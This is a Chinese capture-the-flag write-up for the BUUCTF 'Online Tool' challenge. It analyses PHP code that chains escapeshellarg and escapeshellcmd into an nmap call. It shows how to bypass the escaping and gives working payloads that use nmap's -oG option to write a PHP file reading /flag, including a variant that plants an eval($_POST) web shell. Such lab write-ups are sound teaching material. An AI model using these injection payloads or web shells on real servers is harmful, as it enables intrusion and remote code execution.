web第36题
[BUUCTF 2018]Online Tool
打开靶场
php代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
知识点:php中$_SERVER参数HTTP_X_FORWARDED_FOR & REMOTE_ADDR与获取IP
这两个函数就是服务器用来获取ip地址的,这里没什么用
关键在于第二个if else语句
首先判断是否存在get传的参数host,如果没有就高亮显示代码,也就是本页面,如果有就执行后面的语句
重点:
escapeshellarg()函数:escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
escapeshellcmd()函数:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
具体参考:谈谈escapeshellarg参数绕过和注入的问题
这里只做一个小测试:
运行结果:
escapeshellarg()函数将整个字符串加了单引号包裹,并且对单引号进行了转义,转义的单引号也使用了单引号包裹起来,然后用escapeshellcmd()函数进行了转义,成对出现的单引号不转义,对\进行了转义,对最后一个单引号(单个出现)进行了转义
引用一个例子:PHP escapeshellarg()+escapeshellcmd() 之殇
传入的参数是:172.17.0.2’ -v -d a=1
经过escapeshellarg处理后变成了’172.17.0.2’‘’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成’172.17.0.2’\‘’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:
最后执行的命令是curl ‘172.17.0.2’\‘’ -v -d a=1’,由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。
分析接下来的源代码:
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
对ip进行加密,然后创建目录,输出system执行nmap命令后的结果,比如传入127.0.0.1,返回:
框起来的字符就是创建的目录路径
通过查资料得知nmap 中的-oG参数可以将命令和结果写入文件
一般flag都在根目录下,直接使用反引号进行命令执行
构造payload:
?host=' <?php echo `cat /flag`;?> -oG test.php '
访问该目录下的test.php即可
贴一下大佬的试错:
关于加不加最后的单引号或加不加 单引号前的空格做了结果展示
首先是后面没有加引号
?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php 1 我们可以在线测试一下
‘‘\‘‘ <?php phpinfo();?> -oG test.php\‘ 1 返回结果是上面那样文件名后面会多一个引号
然后是加引号但引号前没有空格
?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php‘ 1
运行结果如下
‘‘\‘‘ <?php phpinfo();?> -oG test.php‘\‘‘‘ 1 文件名后面就会多出\
所以要注意细节